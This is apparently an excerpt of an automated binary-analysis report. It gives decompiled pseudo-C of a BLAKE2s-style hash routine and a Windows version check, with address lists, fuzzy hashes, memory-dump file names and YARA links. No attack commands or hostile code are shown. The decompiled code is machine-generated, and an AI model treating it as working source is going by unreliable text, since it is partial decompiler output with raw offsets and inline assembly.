0x011212bf
0x011212b5
0x011212b8
0x011212b8
0x011212c4
0x011212c4
0x0112128a
0x0112128d
0x0112129c
0x00000000
0x0112129c
0x0112128f
0x01121292
0x01121294
0x01121294
0x00000000
0x01121292
0x0112124b
0x0112124e
0x01121264
0x00000000
0x01121264
0x01121253
0x01121255
0x01121255
0x01121253
0x00000000
0x01121244
0x01121146
0x01121154
0x0112115c
0x00000000
0x0112115c
0x0112114a
0x0112114f
0x0112114f
0x00000000
0x0112114a
0x01121107
0x01121115
0x0112111d
0x00000000
0x0112111d
0x0112110b
0x01121110
0x01121110
0x0112110b

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,01120FCF,?,?,00000008,?,?,01120C6F,00000000), ref: 01121201

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: b1f34a7be75bf2c6a98bdedf86b32bc7c3b914c7e9aad716a0464ae4c06ba6fa
Instruction ID: cac84cb4a5c8397b76be95942a970f901ae05d861050215f4bcdac8166bd7567
Opcode Fuzzy Hash: b1f34a7be75bf2c6a98bdedf86b32bc7c3b914c7e9aad716a0464ae4c06ba6fa
Instruction Fuzzy Hash: A0B13A71610618AFE719CF2CC486B657FE0FF45364F258658E999CF2A1C336D9A2CB40

Uniqueness

Uniqueness Score: -1.00%

Function 010F404E, Relevance: 1.6, Strings: 1, Instructions: 332
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E010F404E() {
				void* _t230;
				signed int* _t231;
				intOrPtr _t240;
				signed int _t245;
				intOrPtr _t246;
				signed int _t257;
				intOrPtr _t258;
				signed int _t269;
				intOrPtr _t270;
				signed int _t275;
				signed int _t280;
				signed int _t285;
				signed int _t290;
				signed int _t295;
				intOrPtr _t296;
				signed int _t301;
				intOrPtr _t302;
				signed int _t307;
				intOrPtr _t308;
				signed int _t313;
				intOrPtr _t314;
				signed int _t319;
				signed int _t324;
				signed int _t329;
				signed int _t333;
				signed int _t334;
				signed int _t336;
				signed int _t337;
				signed int _t338;
				signed int _t340;
				signed int _t341;
				signed int _t342;
				signed int _t348;
				signed int _t350;
				signed int _t351;
				signed int _t353;
				signed int _t355;
				signed int _t356;
				signed int _t358;
				signed int _t360;
				signed int _t362;
				signed int _t363;
				signed int _t365;
				signed int _t366;
				signed int _t368;
				signed int _t369;
				signed int _t371;
				signed int _t372;
				signed int _t374;
				signed int _t375;
				intOrPtr _t376;
				intOrPtr _t377;
				signed int _t379;
				signed int _t381;
				intOrPtr _t383;
				signed int _t385;
				signed int _t386;
				signed int _t388;
				signed int _t389;
				signed int _t390;
				signed int _t391;
				signed int _t392;
				signed int _t393;
				signed int _t394;
				signed int _t395;
				intOrPtr _t396;
				signed int _t398;
				intOrPtr _t399;
				signed int _t407;
				signed int _t409;
				signed int _t411;
				signed int _t412;
				signed int _t414;
				signed int _t418;
				signed int _t420;
				signed int _t422;
				signed int _t423;
				signed int _t425;
				signed int _t427;
				signed int _t429;
				intOrPtr _t431;
				signed int _t433;
				intOrPtr _t434;
				void* _t435;
				void* _t436;
				void* _t437;

				_t377 =  *((intOrPtr*)(_t435 + 0xc0));
				_t342 = 0x10;
				 *((intOrPtr*)(_t435 + 0x18)) = 0x3c6ef372;
				memcpy(_t435 + 0x8c,  *(_t435 + 0xd0), _t342 << 2);
				_t436 = _t435 + 0xc;
				_push(8);
				_t230 = memcpy(_t436 + 0x4c,  *(_t377 + 0xf4), 0 << 2);
				_t437 = _t436 + 0xc;
				_t418 =  *_t230 ^ 0x510e527f;
				_t231 =  *(_t377 + 0xfc);
				_t407 =  *(_t230 + 4) ^ 0x9b05688c;
				_t334 =  *(_t437 + 0x64);
				 *(_t437 + 0x28) = 0x6a09e667;
				 *(_t437 + 0x30) = 0xbb67ae85;
				_t379 =  *_t231 ^ 0x1f83d9ab;
				_t348 =  *(_t437 + 0x5c);
				 *(_t437 + 0x44) = _t231[1] ^ 0x5be0cd19;
				 *(_t437 + 0x3c) =  *(_t437 + 0x68);
				 *(_t437 + 0x1c) =  *(_t437 + 0x60);
				 *(_t437 + 0x2c) =  *(_t437 + 0x58);
				 *(_t437 + 0x38) =  *(_t437 + 0x54);
				 *(_t437 + 0x20) =  *(_t437 + 0x50);
				 *((intOrPtr*)(_t437 + 0x10)) = 0;
				 *((intOrPtr*)(_t437 + 0x48)) = 0;
				_t427 =  *(_t437 + 0x44);
				 *(_t437 + 0x14) =  *(_t437 + 0x4c);
				_t240 =  *((intOrPtr*)(_t437 + 0x10));
				 *(_t437 + 0x24) = 0xa54ff53a;
				 *(_t437 + 0x40) = _t334;
				 *(_t437 + 0x34) = _t348;
				do {
					_t37 = _t240 + 0x1122680; // 0x3020100
					_t350 =  *(_t437 + 0x14) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t37 & 0x000000ff) * 4)) + _t348;
					 *(_t437 + 0x14) = _t350;
					_t351 = _t350 ^ _t418;
					asm("rol ecx, 0x10");
					_t245 =  *(_t437 + 0x28) + _t351;
					_t420 =  *(_t437 + 0x34) ^ _t245;
					 *(_t437 + 0x28) = _t245;
					_t246 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror esi, 0xc");
					 *(_t437 + 0x34) = _t420;
					_t48 = _t246 + 0x1122681; // 0x4030201
					_t422 =  *(_t437 + 0x14) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t48 & 0x000000ff) * 4)) + _t420;
					 *(_t437 + 0x14) = _t422;
					_t423 = _t422 ^ _t351;
					asm("ror esi, 0x8");
					_t353 =  *(_t437 + 0x28) + _t423;
					 *(_t437 + 0x28) = _t353;
					asm("ror eax, 0x7");
					 *(_t437 + 0x34) =  *(_t437 + 0x34) ^ _t353;
					_t60 =  *((intOrPtr*)(_t437 + 0x10)) + 0x1122682; // 0x5040302
					_t355 =  *(_t437 + 0x20) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t60 & 0x000000ff) * 4)) +  *(_t437 + 0x1c);
					 *(_t437 + 0x20) = _t355;
					_t356 = _t355 ^ _t407;
					asm("rol ecx, 0x10");
					_t257 =  *(_t437 + 0x30) + _t356;
					_t409 =  *(_t437 + 0x1c) ^ _t257;
					 *(_t437 + 0x30) = _t257;
					_t258 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edi, 0xc");
					 *(_t437 + 0x1c) = _t409;
					_t71 = _t258 + 0x1122683; // 0x6050403
					_t411 =  *(_t437 + 0x20) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t71 & 0x000000ff) * 4)) + _t409;
					 *(_t437 + 0x20) = _t411;
					_t412 = _t411 ^ _t356;
					asm("ror edi, 0x8");
					_t358 =  *(_t437 + 0x30) + _t412;
					 *(_t437 + 0x30) = _t358;
					asm("ror eax, 0x7");
					 *(_t437 + 0x1c) =  *(_t437 + 0x1c) ^ _t358;
					_t82 =  *((intOrPtr*)(_t437 + 0x10)) + 0x1122684; // 0x7060504
					_t336 =  *(_t437 + 0x38) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t82 & 0x000000ff) * 4)) + _t334;
					_t360 = _t336 ^ _t379;
					asm("rol ecx, 0x10");
					_t269 =  *(_t437 + 0x18) + _t360;
					_t381 =  *(_t437 + 0x40) ^ _t269;
					 *(_t437 + 0x18) = _t269;
					_t270 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0xc");
					_t91 = _t270 + 0x1122685; // 0x8070605
					_t337 = _t336 +  *((intOrPtr*)(_t437 + 0x8c + ( *_t91 & 0x000000ff) * 4)) + _t381;
					 *(_t437 + 0x38) = _t337;
					_t338 = _t337 ^ _t360;
					asm("ror ebx, 0x8");
					_t275 =  *(_t437 + 0x18) + _t338;
					 *(_t437 + 0x18) = _t275;
					asm("ror edx, 0x7");
					 *(_t437 + 0x40) = _t381 ^ _t275;
					_t383 =  *((intOrPtr*)(_t437 + 0x10));
					_t101 = _t383 + 0x1122686; // 0x9080706
					_t362 =  *(_t437 + 0x2c) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t101 & 0x000000ff) * 4)) +  *(_t437 + 0x3c);
					 *(_t437 + 0x2c) = _t362;
					_t363 = _t362 ^ _t427;
					asm("rol ecx, 0x10");
					_t280 =  *(_t437 + 0x24) + _t363;
					_t429 =  *(_t437 + 0x3c) ^ _t280;
					 *(_t437 + 0x24) = _t280;
					_t110 = _t383 + 0x1122687; // 0xa090807
					asm("ror ebp, 0xc");
					_t385 =  *(_t437 + 0x2c) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t110 & 0x000000ff) * 4)) + _t429;
					 *(_t437 + 0x2c) = _t385;
					_t386 = _t385 ^ _t363;
					asm("ror edx, 0x8");
					_t285 =  *(_t437 + 0x24) + _t386;
					 *(_t437 + 0x24) = _t285;
					asm("ror ebp, 0x7");
					 *(_t437 + 0x3c) = _t429 ^ _t285;
					_t431 =  *((intOrPtr*)(_t437 + 0x10));
					_t121 = _t431 + 0x1122688; // 0xb0a0908
					_t365 =  *(_t437 + 0x14) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t121 & 0x000000ff) * 4)) +  *(_t437 + 0x1c);
					 *(_t437 + 0x14) = _t365;
					_t366 = _t365 ^ _t386;
					asm("rol ecx, 0x10");
					_t290 =  *(_t437 + 0x18) + _t366;
					_t388 =  *(_t437 + 0x1c) ^ _t290;
					 *(_t437 + 0x18) = _t290;
					_t130 = _t431 + 0x1122689; // 0xc0b0a09
					asm("ror edx, 0xc");
					_t433 =  *(_t437 + 0x14) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t130 & 0x000000ff) * 4)) + _t388;
					 *(_t437 + 0x14) = _t433;
					 *(_t437 + 0x4c) = _t433;
					_t427 = _t433 ^ _t366;
					asm("ror ebp, 0x8");
					_t295 =  *(_t437 + 0x18) + _t427;
					_t389 = _t388 ^ _t295;
					 *(_t437 + 0x18) = _t295;
					 *(_t437 + 0x74) = _t295;
					_t296 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0x7");
					 *(_t437 + 0x1c) = _t389;
					 *(_t437 + 0x60) = _t389;
					_t144 = _t296 + 0x112268a; // 0xd0c0b0a
					_t390 =  *(_t437 + 0x40);
					_t368 =  *(_t437 + 0x20) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t144 & 0x000000ff) * 4)) + _t390;
					 *(_t437 + 0x20) = _t368;
					_t369 = _t368 ^ _t423;
					asm("rol ecx, 0x10");
					_t301 =  *(_t437 + 0x24) + _t369;
					_t391 = _t390 ^ _t301;
					 *(_t437 + 0x24) = _t301;
					_t302 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0xc");
					_t154 = _t302 + 0x112268b; // 0xe0d0c0b
					_t425 =  *(_t437 + 0x20) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t154 & 0x000000ff) * 4)) + _t391;
					 *(_t437 + 0x20) = _t425;
					 *(_t437 + 0x50) = _t425;
					_t418 = _t425 ^ _t369;
					asm("ror esi, 0x8");
					_t307 =  *(_t437 + 0x24) + _t418;
					_t392 = _t391 ^ _t307;
					 *(_t437 + 0x24) = _t307;
					 *(_t437 + 0x78) = _t307;
					_t308 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0x7");
					 *(_t437 + 0x40) = _t392;
					 *(_t437 + 0x64) = _t392;
					_t167 = _t308 + 0x112268c; // 0xf0e0d0c
					_t393 =  *(_t437 + 0x3c);
					_t371 =  *(_t437 + 0x38) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t167 & 0x000000ff) * 4)) + _t393;
					 *(_t437 + 0x38) = _t371;
					_t372 = _t371 ^ _t412;
					asm("rol ecx, 0x10");
					_t313 =  *(_t437 + 0x28) + _t372;
					_t394 = _t393 ^ _t313;
					 *(_t437 + 0x28) = _t313;
					_t314 =  *((intOrPtr*)(_t437 + 0x10));
					asm("ror edx, 0xc");
					_t177 = _t314 + 0x112268d; // 0xe0f0e0d
					_t414 =  *(_t437 + 0x38) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t177 & 0x000000ff) * 4)) + _t394;
					 *(_t437 + 0x38) = _t414;
					 *(_t437 + 0x54) = _t414;
					_t407 = _t414 ^ _t372;
					asm("ror edi, 0x8");
					_t319 =  *(_t437 + 0x28) + _t407;
					_t395 = _t394 ^ _t319;
					 *(_t437 + 0x28) = _t319;
					asm("ror edx, 0x7");
					 *(_t437 + 0x3c) = _t395;
					 *(_t437 + 0x68) = _t395;
					_t396 =  *((intOrPtr*)(_t437 + 0x10));
					 *(_t437 + 0x6c) = _t319;
					_t190 = _t396 + 0x112268e; // 0xa0e0f0e
					_t374 =  *(_t437 + 0x2c) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t190 & 0x000000ff) * 4)) +  *(_t437 + 0x34);
					 *(_t437 + 0x2c) = _t374;
					_t375 = _t374 ^ _t338;
					asm("rol ecx, 0x10");
					_t324 =  *(_t437 + 0x30) + _t375;
					_t340 =  *(_t437 + 0x34) ^ _t324;
					 *(_t437 + 0x30) = _t324;
					_t199 = _t396 + 0x112268f; // 0x40a0e0f
					asm("ror ebx, 0xc");
					_t398 =  *(_t437 + 0x2c) +  *((intOrPtr*)(_t437 + 0x8c + ( *_t199 & 0x000000ff) * 4)) + _t340;
					 *(_t437 + 0x2c) = _t398;
					 *(_t437 + 0x58) = _t398;
					_t379 = _t398 ^ _t375;
					asm("ror edx, 0x8");
					_t329 =  *(_t437 + 0x30) + _t379;
					_t341 = _t340 ^ _t329;
					 *(_t437 + 0x30) = _t329;
					 *(_t437 + 0x70) = _t329;
					asm("ror ebx, 0x7");
					_t240 =  *((intOrPtr*)(_t437 + 0x10)) + 0x10;
					 *(_t437 + 0x34) = _t341;
					_t348 =  *(_t437 + 0x34);
					 *(_t437 + 0x5c) = _t341;
					_t334 =  *(_t437 + 0x40);
					 *((intOrPtr*)(_t437 + 0x10)) = _t240;
				} while (_t240 <= 0x90);
				 *(_t437 + 0x84) = _t379;
				_t399 =  *((intOrPtr*)(_t437 + 0xd0));
				 *(_t437 + 0x88) = _t427;
				_t434 =  *((intOrPtr*)(_t437 + 0x48));
				 *(_t437 + 0x7c) = _t418;
				 *(_t437 + 0x80) = _t407;
				do {
					_t376 =  *((intOrPtr*)(_t399 + 0xf4));
					_t333 =  *(_t437 + _t434 + 0x6c) ^  *(_t376 + _t434) ^  *(_t437 + _t434 + 0x4c);
					 *(_t376 + _t434) = _t333;
					_t434 = _t434 + 4;
				} while (_t434 < 0x20);
				return _t333;
			}

0x010f4054
0x010f406e
0x010f4076
0x010f407e
0x010f407e
0x010f408a
0x010f408d
0x010f408d
0x010f4099
0x010f409f
0x010f40a5
0x010f40ab
0x010f40af
0x010f40b8
0x010f40c1
0x010f40c7
0x010f40d0
0x010f40da
0x010f40e2
0x010f40ea
0x010f40f2
0x010f40fa
0x010f4102
0x010f4106
0x010f410a
0x010f410e
0x010f4112
0x010f4116
0x010f411e
0x010f4122
0x010f4126
0x010f4126
0x010f413a
0x010f4140
0x010f4144
0x010f414a
0x010f414d
0x010f414f
0x010f4151
0x010f4155
0x010f4159
0x010f415c
0x010f4160
0x010f4174
0x010f417a
0x010f417e
0x010f4184
0x010f4187
0x010f418b
0x010f418f
0x010f4192
0x010f419e
0x010f41b0
0x010f41b6
0x010f41ba
0x010f41c0
0x010f41c3
0x010f41c5
0x010f41c7
0x010f41cb
0x010f41cf
0x010f41d2
0x010f41d6
0x010f41ea
0x010f41f0
0x010f41f4
0x010f41fa
0x010f41fd
0x010f4201
0x010f4205
0x010f4208
0x010f4210
0x010f4224
0x010f422c
0x010f4232
0x010f4235
0x010f4237
0x010f4239
0x010f423d
0x010f4241
0x010f4244
0x010f4254
0x010f425a
0x010f425e
0x010f4264
0x010f4267
0x010f426b
0x010f426f
0x010f4272
0x010f4276
0x010f427a
0x010f428c
0x010f4292
0x010f4296
0x010f429c
0x010f429f
0x010f42a1
0x010f42a3
0x010f42a7
0x010f42b2
0x010f42be
0x010f42c4
0x010f42c8
0x010f42ce
0x010f42d1
0x010f42d5
0x010f42d9
0x010f42dc
0x010f42e0
0x010f42e4
0x010f42f6
0x010f42fc
0x010f4300
0x010f4306
0x010f4309
0x010f430b
0x010f430d
0x010f4311
0x010f431c
0x010f4328
0x010f432e
0x010f4332
0x010f4336
0x010f433c
0x010f433f
0x010f4341
0x010f4343
0x010f4347
0x010f434b
0x010f434f
0x010f4352
0x010f4356
0x010f435a
0x010f4361
0x010f436e
0x010f4370
0x010f4374
0x010f437e
0x010f4381
0x010f4383
0x010f4385
0x010f4389
0x010f438d
0x010f4390
0x010f43a0
0x010f43a6
0x010f43aa
0x010f43ae
0x010f43b4
0x010f43b7
0x010f43b9
0x010f43bb
0x010f43bf
0x010f43c3
0x010f43c7
0x010f43ca
0x010f43ce
0x010f43d2
0x010f43d9
0x010f43e6
0x010f43ec
0x010f43f0
0x010f43f6
0x010f43f9
0x010f43fb
0x010f43fd
0x010f4401
0x010f4405
0x010f4408
0x010f4418
0x010f441e
0x010f4422
0x010f4426
0x010f442c
0x010f442f
0x010f4431
0x010f4433
0x010f4437
0x010f443a
0x010f443e
0x010f4442
0x010f4446
0x010f444a
0x010f445c
0x010f4462
0x010f4466
0x010f446c
0x010f446f
0x010f4471
0x010f4473
0x010f4477
0x010f4482
0x010f448e
0x010f4490
0x010f4494
0x010f4498
0x010f449a
0x010f44a1
0x010f44a3
0x010f44a5
0x010f44a9
0x010f44b1
0x010f44b4
0x010f44b7
0x010f44bb
0x010f44bf
0x010f44c3
0x010f44c7
0x010f44cb
0x010f44d6
0x010f44dd
0x010f44e4
0x010f44eb
0x010f44ef
0x010f44f3
0x010f44fa
0x010f44fa
0x010f4507
0x010f450b
0x010f450e
0x010f4511
0x010f4520

Strings

gj, xrefs: 010F4091

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 95902fc9a516463c4e5fdef5297afba6f141b41bd12cde3d0bddc5073a24dec6
Instruction ID: 7753e6fb7e6da6655ddfbc21f916a9f46bf43e56222694e4fa04a2408edd9513
Opcode Fuzzy Hash: 95902fc9a516463c4e5fdef5297afba6f141b41bd12cde3d0bddc5073a24dec6
Instruction Fuzzy Hash: 4FF1D5B2A083418FD358CF29D880A1AFBE1BFC8204F15892EF998D7711D674E959CF56

Uniqueness

Uniqueness Score: -1.00%

Function 010FAC35, Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010FAC35() {
				struct _OSVERSIONINFOW _v280;
				signed int _t6;
				intOrPtr _t12;
				intOrPtr _t13;

				_t12 =  *0x112d020; // 0x2
				if(_t12 != 0xffffffff) {
					_t6 =  *0x112ff60; // 0xa
					_t13 =  *0x112ff64; // 0x0
				} else {
					_v280.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v280);
					_t12 = _v280.dwPlatformId;
					_t6 = _v280.dwMajorVersion;
					_t13 = _v280.dwMinorVersion;
					 *0x112d020 = _t12;
					 *0x112ff60 = _t6;
					 *0x112ff64 = _t13;
				}
				if(_t12 != 2) {
					return 0x501;
				} else {
					return (_t6 << 8) + _t13;
				}
			}

0x010fac38
0x010fac47
0x010fac85
0x010fac8a
0x010fac49
0x010fac4f
0x010fac5a
0x010fac60
0x010fac66
0x010fac6c
0x010fac72
0x010fac78
0x010fac7d
0x010fac7d
0x010fac93
0x00000000
0x010fac95
0x00000000
0x010fac98

APIs

GetVersionExW.KERNEL32(?), ref: 010FAC5A

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: fbfd2fc70b0a80cd0a8e4288ad9531f116e9879ff918804f424618c6bab5f9d0
Instruction ID: a181a35c95039a4eead37299637daeeaa10f7ad773adc2394d35ea2adb33b450
Opcode Fuzzy Hash: fbfd2fc70b0a80cd0a8e4288ad9531f116e9879ff918804f424618c6bab5f9d0
Instruction Fuzzy Hash: A7F0F9B1A0020C9FCB38CF28E946AA977B5B749710F2002A9DA2943748D77499918F95

Uniqueness

Uniqueness Score: -1.00%

Function 01105BE7, Relevance: .8, Instructions: 800COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a39841cac9e84ab4e841f200c595f71da84c95fe04dc46ca835324e53b20566d
Instruction ID: 0eff69891b27faca80ed2450dc2f4a744b5192c2b5828472ef61c5e4d41b79e0
Opcode Fuzzy Hash: a39841cac9e84ab4e841f200c595f71da84c95fe04dc46ca835324e53b20566d
Instruction Fuzzy Hash: C6623971A047858FCB2FCF38C8906B9BBE2AF95204F08855DD99B8B386D374E955CB11

Uniqueness

Uniqueness Score: -1.00%

Function 0110702F, Relevance: .8, Instructions: 773COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd5a6ee81230f9964c2b7d886b5441bde9d52927ebfacf8b9927f48809ae3912
Instruction ID: da95f43025426c5dd4386d1df766f3bb4e18019b28a9b4ac452d73177aae6b57
Opcode Fuzzy Hash: fd5a6ee81230f9964c2b7d886b5441bde9d52927ebfacf8b9927f48809ae3912
Instruction Fuzzy Hash: 52620370A0478A9FC71ECF28C8905A9FBE1BB45208F08866ED9D68B7C2D771F555CB81

Uniqueness

Uniqueness Score: -1.00%

Function 010FEC54, Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8dcf4ce7443567a3df9829512a6481c5c28437b96de24cb6201d7f4281e1479
Instruction ID: 8295d94eff11c621801d8ce7caddcbd67ee58583c73c6dc4880461b4a20ef698
Opcode Fuzzy Hash: a8dcf4ce7443567a3df9829512a6481c5c28437b96de24cb6201d7f4281e1479
Instruction Fuzzy Hash: D9523BB26047058FC718CF19C891A6AF7E1FFCC304F498A2DE9859B255D734EA19CB86

Uniqueness

Uniqueness Score: -1.00%

Function 011069EB, Relevance: .5, Instructions: 509COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 473e9eebef439dbc195b3681a09909527e76f0a61b3af386bb0f72abbb3b28e4
Instruction ID: f4826e9fe0d50d59d2f3e9a50f273edbade1837318fd98ffc9914bf49408cba4
Opcode Fuzzy Hash: 473e9eebef439dbc195b3681a09909527e76f0a61b3af386bb0f72abbb3b28e4
Instruction Fuzzy Hash: B312D4B1A007068BC72ECF28C9906B9B7E1FF45308F14892DD597C7AC5D7B4A8A5CB45

Uniqueness

Uniqueness Score: -1.00%

Function 010FBD53, Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bba6e43b3ed87b45d6804e6a03b98fc6e8553028d33f47f6a8d99f3ae8766da7
Instruction ID: 68d3fe6a287f293653c6b0b7a5866d55a8465b0ff511ae9632c4005f73875da1
Opcode Fuzzy Hash: bba6e43b3ed87b45d6804e6a03b98fc6e8553028d33f47f6a8d99f3ae8766da7
Instruction Fuzzy Hash: 7DF1CD75A083058FD358CF29C582A2EBBE1FFCA258F144A2EF6C597655D730E9058F42

Uniqueness

Uniqueness Score: -1.00%

Function 01110993, Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 3ac9d3fe7088f84773e4b3176403af28c34e70a76fbebe0f28832ff538b12aa2
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 6DC17F366051930AEB6E463D953413FFFA15A9A6B131A077DF4B6CB1C9FF20D1A4C620

Uniqueness

Uniqueness Score: -1.00%

